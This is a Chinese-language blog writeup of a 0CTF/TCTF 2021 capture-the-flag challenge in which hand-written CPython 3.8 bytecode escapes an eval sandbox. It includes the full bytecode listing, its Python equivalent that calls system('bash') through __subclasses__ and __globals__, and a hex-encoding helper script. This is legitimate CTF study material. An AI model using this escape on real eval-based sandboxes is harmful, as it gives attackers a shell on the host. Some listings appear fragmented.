

# 【0CTF/TCTF2021预选】[Misc] pypypypy Sloth writeup

## python字节码编程

原创

[Csome-Official](#) 于 2021-07-06 11:53:34 发布 346 收藏 2

分类专栏: [CTF](#) 文章标签: [python](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_45004513/article/details/118493745](https://blog.csdn.net/weixin_45004513/article/details/118493745)

版权



[CTF 专栏收录该内容](#)

2 篇文章 0 订阅

订阅专栏

### 文章目录

[题目](#)

[审计代码](#)

[主要思路](#)

[获取属性](#)

[获取常量](#)

[其他特性](#)

[解题阻碍](#)

[get\\_flag](#)

[小结](#)

[参考文章](#)

### 题目

PYPYPYPY

Talk is cheap, show me your (byte)code. `nc 111.186.58.164 13337`

nc 进去之后会返回python代码

题目环境

3.8.11 (default, Jun 29 2021, 19:54:56)

[GCC 8.3.0]

```

import sys
from pathlib import Path
from types import CodeType

src = Path(__file__).read_text()

print(globals())
print(sys.version)
print(src)

codestring = bytes.fromhex(input('Give me your bytecode in hex:'))
assert len(codestring) <= 2000, 'Too long!'

print('Thanks!')
print('I will give you two gifts in exchange, what do you want?')

gift1 = input('gift1: ')
gift2 = input('gift2: ')
assert len(gift1) <= 10, 'Too long!'
assert len(gift2) <= 10, 'Too long!'

code = CodeType(0, 0, 0, 0, 0, 0, codestring, (), (f'__{gift1}__', f'__{gift2}__'), (), '', '', 0, b'')

result = eval(code, {'__builtins__': None}, {})
print('success, bye!')

```

## 审计代码

要求就是运用两个格式为(f'\_\_{gift1}\_\_', f'\_\_{gift2}\_\_')的全局名称，编写python字节码，getshell（就是自己写python的shellcode，有点pwn的内味）

没有局部变量，没有常量

Python 中的代码对象 code object 与 \_\_code\_\_ 属性

全局名称(co\_names)就是指所有的名称

比如

```

def f():
    print('sssss')
    print([].__class__)

```

这个代码中

```

co_names=('f','print','__class__')
co_consts=('sssss')

```

题目把全局变量 \_\_builtins\_\_ 设为了 None，就是说不能用 \_\_builtins\_\_.\_\_dict\_\_['open'] 直接访问文件

## 主要思路

### 获取属性

思路其实也很简单

没有常量，就只能找已经定义好的常量

globals() 查看当前位置所有的全局变量

但这个需要耗费一个全局名称，没法构造，放弃

还有另一条路就是运用字节码中的

BUILD\_LIST 创建列表  
BUILD\_TUPLE 创建元组  
BUILD\_SET 创建集合  
BUILD\_MAP 创建字典  
BUILD\_STRING 创建字符串, 拼接字符串

详情见python 3.8.11 字节码

如果这个时候就很自然的想到python的模板注入

```
[].__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('bash')
```

但只有两个全局名称

上面代码用到了5个名称, 3个常量, 不可行

在找方法的过程中耗费了很多时间

第二天, 我才注意到了这个字节码和\_\_dict\_\_属性

UNPACK\_EX(counts)

实现使用带星号的目标进行赋值: 将 TOS 中的可迭代对象解包为单独的值, 其中值的总数可以小于可迭代对象中的项数: 新值之一将是由所有剩余项构成的列表。

counts 的低字节是列表值之前的值的数量, counts 中的高字节则是之后的值的数量。 结果值会按从右至左的顺序入栈。

python中对一个变量取它的属性先当于调用\_\_getattr\_\_方法

```
[].__class__ <=> getattr([], '__class__') <=> [].__getattr__('__class__')
```

```
>>> [].__getattr__('__class__')  
<class 'list'>
```

但是题目限制了\_\_中间的长度不能超过10个字节, 那就不能直接用\_\_getattr\_\_

但可以间接用, \_\_dict\_\_属性中可以找到\_\_getattr\_\_属性

```
[].__class__ <=> [].__class__.__dict__['__getattr__']([], '__class__')
```

解决了各个属性的调用, 接下来就是常量了

模板注入中用到的常量 133、 bash, 还有获取属性的那些常量

## 获取常量

首先是获取属性的那些常量 (比如'\_\_getattr\_\_')

可以用一下字节码获取

```
BUILD_LIST          0 # []  
LOAD_ATTR           0 # [].__class__  
LOAD_ATTR           1 # [].__class__.__dict__  
UNPACK_EX           3 # 将[].__class__.__dict__前3个解包, 存入栈中, '__getattr__'在第三个位置  
POP_TOP             # POP掉第一个  
POP_TOP             # POP掉第二个  
ROT_TWO             # 交换栈顶两个值  
POP_TOP             # 解包会把[].__class__.__dict__.keys()先压入栈, 最后两行字节码就是把[].__class__.__dict__.keys()给POP掉
```

这样就获取到了'\_\_getattr\_\_'字符串

其次就是 133 常量

这个可以通过调用

```

[[]].__len__()
<=> [].__class__.__dict__[ '__getattribute__' ]([[ ]], '__len__')()
将栈顶的存入一个1
对应字节码:

BUILD_LIST          0 # [ ]
BUILD_LIST          1 # [ ] arg1
BUILD_LIST          0 # [ ]
LOAD_ATTR           0 # [ ].__class__
LOAD_ATTR           1 # [ ].__class__.__dict__
UNPACK_EX           12
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP             # '__len__' arg2
CALL_METHOD         1 # [ ].__class__.__dict__[ '__getattribute__' ]([[ ]], '__len__')
CALL_FUNCTION       0 # [ ].__class__.__dict__[ '__getattribute__' ]([[ ]], '__len__')() -> TOS = 1

```

再通过一般指令（复制、交换等），二元操作（+ - \* / 等）

将 1 变成 133

最后就是 'base' 字符串

其实这个也简单

这个字节码可以拼接字符串

`[].__class__.__dict__` 的解包结果是字符串，再用 `BINARY_SUBSCR` 就可以获取每个字符，最后拼接

`BUILD_STRING(count)`

拼接 count 个来自栈的字符串并将结果字符串推入栈顶。

`BINARY_SUBSCR`

实现 `TOS = TOS1[TOS]`

## 其他特性

题目中没有给局部变量的存储空间

但是其实是可以有的

`STORE_NAME(namei)`

实现 `name = TOS`。namei 是 name 在代码对象的 `co_names` 属性中的索引。

`LOAD_NAME(namei)`

将与 `co_names[namei]` 相关联的值推入栈顶。

在python代码对象中，`co_names` 是字符串元组，也就是说，这个既可以做变量名，又可以做属性名

```
__class__ = [].__class__.__class__.__dict__[ '__getattribute__' ]([].__class__, '__base__')
```

这样就有了两个全局变量，可以暂时存放中间变量，减少字节码长度（题目中限制bytecode的2000个字符长度）

## 解题阻碍

## 1. 类型匹配

`__dict__['__getattr__'](arg1, arg2)` 需要注意这个函数的类型和参数的匹配

`[].__class__` 是 `type` 类型

`[].__class__.__dict__['__getattr__'] => <slot wrapper '__getattr__' of 'type' objects>`

## 2. 属性无法获取

当我已经构建好

```
tmp = [].__class__.__dict__['__getattr__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattr__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__dict__['__getattr__'](tmp, '__init__')
```

`tmp => <function _wrap_close.__init__ at 0x0000013FA9FC54C0>`

在最后的获取 `__globals__` 属性时，发现 `function` 类型没有 `__getattr__` 属性，这个又卡了好久

最后找到了方法

```
tmp = tmp.__class__.__dict__['__globals__'].__dict__['__getattr__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
```

获取到了全局变量的字典

这个时候 `tmp['system']` 就是 `<built-in function system>`

## get\_flag

最终的字节码全貌

```
BUILD_LIST          0 # []
LOAD_ATTR           0 # [].__class__
LOAD_ATTR           0 # [].__class__.__class__
LOAD_ATTR           1 # [].__class__.__class__.__dict__
BUILD_LIST          0 # []
LOAD_ATTR           0 # [].__class__
LOAD_ATTR           1 # [].__class__.__dict__
UNPACK_EX           3 # [].__class__.__dict__ -> '__getattr__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR      # [].__class__.__class__.__dict__['__getattr__'](arg1, arg2)

BUILD_LIST          0
LOAD_ATTR           0 # arg1

BUILD_LIST          0 # []
LOAD_ATTR           0 # [].__class__
LOAD_ATTR           0 # [].__class__.__class__
LOAD_ATTR           1 # [].__class__.__class__.__dict__
UNPACK_EX           19 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
```

```

-
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP          # '__base__' arg2

CALL_METHOD      2 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')

LOAD_ATTR       0 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__c
lass__
LOAD_ATTR       1 # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__c
lass__.__dict__

BUILD_LIST      0 # []
LOAD_ATTR       0 # [].__class__
LOAD_ATTR       0 # [].__class__.__class__
LOAD_ATTR       1 # [].__class__.__class__.__dict__
UNPACK_EX       9 # [].__class__.__class__.__dict__ -> __base__
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP          # '__subclasses__'

BINARY_SUBSCR   # [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__').__c
lass__.__dict__['__subclasses__']

BUILD_LIST      0 # []
LOAD_ATTR       0 # [].__class__
LOAD_ATTR       0 # [].__class__.__class__
LOAD_ATTR       1 # [].__class__.__class__.__dict__
BUILD_LIST      0 # []
LOAD_ATTR       0 # [].__class__
LOAD_ATTR       1 # [].__class__.__dict__
UNPACK_EX       3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR   # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)

BUILD_LIST      0
LOAD_ATTR       0 # arg1

```



```

POP_TOP                # '__len__' arg2
CALL_METHOD            1 # [].__class__.__dict__['__getattribute__']([], '__len__')
CALL_FUNCTION          0 # [].__class__.__dict__['__getattribute__']([], '__len__')() -> TOS = 1

DUP_TOP               # 1 1
DUP_TOP               # 1 1 1
BINARY_ADD            # 2 1
STORE_NAME            0 # a=2

LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=4

LOAD_NAME             0 # 4 1

LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=8
LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=16
LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=32
LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=64
LOAD_NAME             0
LOAD_NAME             0
BINARY_ADD            # 2 1
STORE_NAME            0 # a=128
LOAD_NAME             0 # 128 4 1

BINARY_ADD
BINARY_ADD

BINARY_SUBSCR
STORE_NAME            1 # b=<class 'warnings.catch_warnings'>
LOAD_NAME             1
LOAD_ATTR             0 # b.__class__
LOAD_ATTR             1 # b.__class__.__dict__
LOAD_NAME             1
LOAD_ATTR             0 # [].__class__
LOAD_ATTR             1 # [].__class__.__dict__
UNPACK_EX             3 # [].__class__.__dict__ -> '__getattribute__'
POP_TOP
POP_TOP
ROT_TWO
POP_TOP
BINARY_SUBSCR        # [].__class__.__class__.__dict__['__getattribute__'](arg1, arg2)

LOAD_NAME            1 # arg1

```



```

BUILD_LIST          0 # []
LOAD_ATTR           0 # [].__class__
LOAD_ATTR           0 # [].__class__.__class__
LOAD_ATTR           1 # [].__class__.__class__.__dict__
UNPACK_EX           6 # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP            # '__init__'

CALL_FUNCTION       2
DUP_TOP
LOAD_ATTR           0
LOAD_ATTR           1

DUP_TOP

UNPACK_EX           7 # [].__class__.__class__.__dict__ -> '__init__'
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
POP_TOP
ROT_TWO
POP_TOP

BINARY_SUBSCR

DUP_TOP
DUP_TOP
DUP_TOP

LOAD_ATTR           0
LOAD_ATTR           1

UNPACK_EX           2
POP_TOP
ROT_TWO
POP_TOP

ROT_TWO
LOAD_ATTR           0
LOAD_ATTR           1
ROT_TWO

BINARY_SUBSCR

ROT_THREE

LOAD_ATTR           0
LOAD_ATTR           1

UNPACK_EX           3
POP_TOP
POP TOP

```

POP\_TOP  
ROT\_TWO  
POP\_TOP

CALL\_FUNCTION 2  
ROT\_TWO  
CALL\_FUNCTION 1

STORE\_NAME 1  
LOAD\_NAME 1

UNPACK\_EX 46  
POP\_TOP x45  
ROT\_TWO  
POP\_TOP

LOAD\_NAME 1  
ROT\_TWO  
BINARY\_SUBSCR

LOAD\_NAME 0  
LOAD\_NAME 0  
BINARY\_FLOOR\_DIVIDE  
LOAD\_NAME 0  
LOAD\_NAME 0  
BINARY\_FLOOR\_DIVIDE  
BINARY\_ADD  
STORE\_NAME 0

LOAD\_NAME 1  
UNPACK\_EX 8  
POP\_TOP x7  
ROT\_TWO  
POP\_TOP  
LOAD\_NAME 0  
BINARY\_SUBSCR

LOAD\_NAME 1  
UNPACK\_EX 13  
POP\_TOP x12  
ROT\_TWO  
POP\_TOP  
LOAD\_NAME 0  
BINARY\_SUBSCR

LOAD\_NAME 1  
UNPACK\_EX 10  
POP\_TOP x9  
ROT\_TWO  
POP\_TOP  
LOAD\_NAME 0  
BINARY\_SUBSCR

LOAD\_NAME 1  
UNPACK\_EX 12  
POP\_TOP x11  
ROT\_TWO  
POP\_TOP  
LOAD\_NAME 0  
BINARY\_SUBSCR

```
BUILD_STRING      4
CALL_FUNCTION     1

PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR
PRINT_EXPR

BUILD_LIST        0
RETURN_VALUE
```

上面的字节码相当于下面的代码

```
tmp = [].__class__.__class__.__dict__['__getattribute__']([].__class__, '__base__')
tmp = tmp.__class__.__dict__['__getattribute__'](tmp, '__subclasses__')()[133]
tmp = [].__class__.__class__.__dict__['__getattribute__'](tmp, '__init__')
tmp = tmp.__class__.__dict__['__globals__'].__class__.__dict__['__getattribute__'](tmp.__class__.__dict__['__globals__'], '__get__')(tmp)
tmp['system']('bash')
```

再写一个转16进制字节码的脚本

```

import dis
import re

with open('test.txt', 'r') as f:
    data = f.read().splitlines()

def com_py(s: str):
    sarr = re.split('[ ]+', s)
    sarr = [_ if _ != '' else '#' for _ in sarr]
    print(sarr)
    if '#' in sarr:
        sarr = sarr[:sarr.index('#')]

    if len(sarr) > 1:
        code, num = sarr
        num = int(num)
        return hex(dis.opmap[code])[2:].rjust(2, '0') + hex(num)[2:].rjust(2, '0')
    else:
        code = sarr[0]
        return hex(dis.opmap[code])[2:].rjust(2, '0') + '00'

dis_code = ''
for da in data:
    n = 1
    if "##" in da:
        continue
    if '###' in da:
        break
    if 'x' in da:
        print(da)
        s = re.search('x[0-9]+', da).group(0)
        n = int(s[1:])
        print(n, s)
        da = da.replace(s, '')
        print(da)
    if da != '':
        dis_code += com_py(da) * n
dis.dis(bytes.fromhex(dis_code))
print('code> ', dis_code, end='\n\n')
print('code_len> ', len(dis_code)//2, end='\n\n')

```

得到16进制表示的字节码



Python 中的代码对象 code object 与 **code** 属性

dis — Python 字节码反汇编器

python 模板注入